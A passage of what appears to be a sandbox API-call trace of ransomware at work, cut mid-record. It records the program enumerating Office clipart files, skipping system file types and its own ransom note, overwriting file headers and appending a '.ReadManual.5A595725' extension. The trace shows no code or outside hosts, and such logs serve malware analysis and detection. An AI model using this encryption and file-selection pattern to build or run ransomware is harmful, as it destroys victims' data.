office\\clipart\\pub60cor\\na00452_.wmf")) returned 0x20 [0270.489] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00452_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00452_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.489] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5308) returned 1 [0270.489] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14bc, lpName=0x0) returned 0x184 [0270.489] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.490] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.490] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.492] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.492] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14bc) returned 0x2f0000 [0270.492] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.492] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39116079924) returned 1 [0270.492] CloseHandle (hObject=0x184) returned 1 [0270.492] SetSecurityInfo () returned 0x57 [0270.492] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.492] CloseHandle (hObject=0x194) returned 1 [0270.492] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cceba00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x594ac510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1cceba00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x1580, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00454_.WMF", cAlternateFileName="")) returned 1 [0270.492] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00454_.WMF" | out: lpString1="NA00454_.WMF") returned="NA00454_.WMF" [0270.492] lstrcmpiW (lpString1="NA00454_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.492] StrStrIW (lpFirst="NA00454_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.492] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.492] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.493] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.493] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" [0270.493] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.ReadManual.5A595725" [0270.493] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF.ReadManual.5A595725") returned 87 [0270.493] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39116177526) returned 1 [0270.493] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf")) returned 0x20 [0270.493] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00454_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00454_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.494] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5504) returned 1 [0270.494] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1580, lpName=0x0) returned 0x184 [0270.494] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.495] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.495] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.497] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.497] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1580) returned 0x2f0000 [0270.497] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.497] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39116591836) returned 1 [0270.497] CloseHandle (hObject=0x184) returned 1 [0270.497] SetSecurityInfo () returned 0x57 [0270.497] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.497] CloseHandle (hObject=0x194) returned 1 [0270.497] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf78d7c00, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf78d7c00, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x27a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00458_.WMF", cAlternateFileName="")) returned 1 [0270.498] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00458_.WMF" | out: lpString1="NA00458_.WMF") returned="NA00458_.WMF" [0270.498] lstrcmpiW (lpString1="NA00458_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.498] StrStrIW (lpFirst="NA00458_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.498] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.498] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.498] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" [0270.498] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.ReadManual.5A595725" [0270.498] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF.ReadManual.5A595725") returned 87 [0270.498] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39116687934) returned 1 [0270.498] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf")) returned 0x20 [0270.498] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.499] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=10148) returned 1 [0270.499] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27a4, lpName=0x0) returned 0x184 [0270.499] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.499] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.500] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.501] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.501] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27a4) returned 0x2f0000 [0270.502] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.502] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39117043378) returned 1 [0270.502] CloseHandle (hObject=0x184) returned 1 [0270.502] SetSecurityInfo () returned 0x57 [0270.502] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.502] CloseHandle (hObject=0x194) returned 1 [0270.502] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80e3300, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80e3300, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4f6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00462_.WMF", cAlternateFileName="")) returned 1 [0270.502] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00462_.WMF" | out: lpString1="NA00462_.WMF") returned="NA00462_.WMF" [0270.502] lstrcmpiW (lpString1="NA00462_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.502] StrStrIW (lpFirst="NA00462_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.502] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.502] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.502] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" [0270.503] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.ReadManual.5A595725" [0270.503] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF.ReadManual.5A595725") returned 87 [0270.503] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39117136713) returned 1 [0270.503] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf")) returned 0x20 [0270.503] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.503] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=20332) returned 1 [0270.503] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4f6c, lpName=0x0) returned 0x184 [0270.503] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.504] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.504] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.506] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.506] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4f6c) returned 0x2f0000 [0270.506] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.506] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39117501180) returned 1 [0270.506] CloseHandle (hObject=0x184) returned 1 [0270.506] SetSecurityInfo () returned 0x57 [0270.506] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.506] CloseHandle (hObject=0x194) returned 1 [0270.507] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x735300, ftCreationTime.dwHighDateTime=0x1bd4b1b, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x735300, ftLastWriteTime.dwHighDateTime=0x1bd4b1b, nFileSizeHigh=0x0, nFileSizeLow=0xc10, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00487_.WMF", cAlternateFileName="")) returned 1 [0270.507] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00487_.WMF" | out: lpString1="NA00487_.WMF") returned="NA00487_.WMF" [0270.507] lstrcmpiW (lpString1="NA00487_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.507] StrStrIW (lpFirst="NA00487_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.507] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.507] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.507] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" [0270.507] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.ReadManual.5A595725" [0270.507] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF.ReadManual.5A595725") returned 87 [0270.507] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39117594190) returned 1 [0270.507] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf")) returned 0x20 [0270.508] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.508] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3088) returned 1 [0270.508] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc10, lpName=0x0) returned 0x184 [0270.508] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.509] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.509] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.511] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.511] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc10) returned 0x2f0000 [0270.511] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0270.511] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=39117991209) returned 1 [0270.511] CloseHandle (hObject=0x184) returned 1 [0270.511] SetSecurityInfo () returned 0x57 [0270.511] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0270.511] CloseHandle (hObject=0x194) returned 1 [0270.511] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x955a5a00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6a34aa30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x955a5a00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x938, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NA00494_.WMF", cAlternateFileName="")) returned 1 [0270.511] lstrcpyW (in: lpString1=0x6ab90a, lpString2="NA00494_.WMF" | out: lpString1="NA00494_.WMF") returned="NA00494_.WMF" [0270.512] lstrcmpiW (lpString1="NA00494_.WMF", lpString2="RecoveryManual.html") returned -1 [0270.512] StrStrIW (lpFirst="NA00494_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0270.512] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0270.512] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0270.512] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" [0270.512] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.ReadManual.5A595725" [0270.512] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF.ReadManual.5A595725") returned 87 [0270.512] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=39118086977) returned 1 [0270.512] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf")) returned 0x20 [0270.512] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na00494_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0270.513] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2360) returned 1 [0270.513] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x938, lpName=0x0) returned 0x184 [0270.513] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0270.513] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0270.513] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0270.515] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0270.515] MapViewOfFile (hFileMappingObject=0x184, 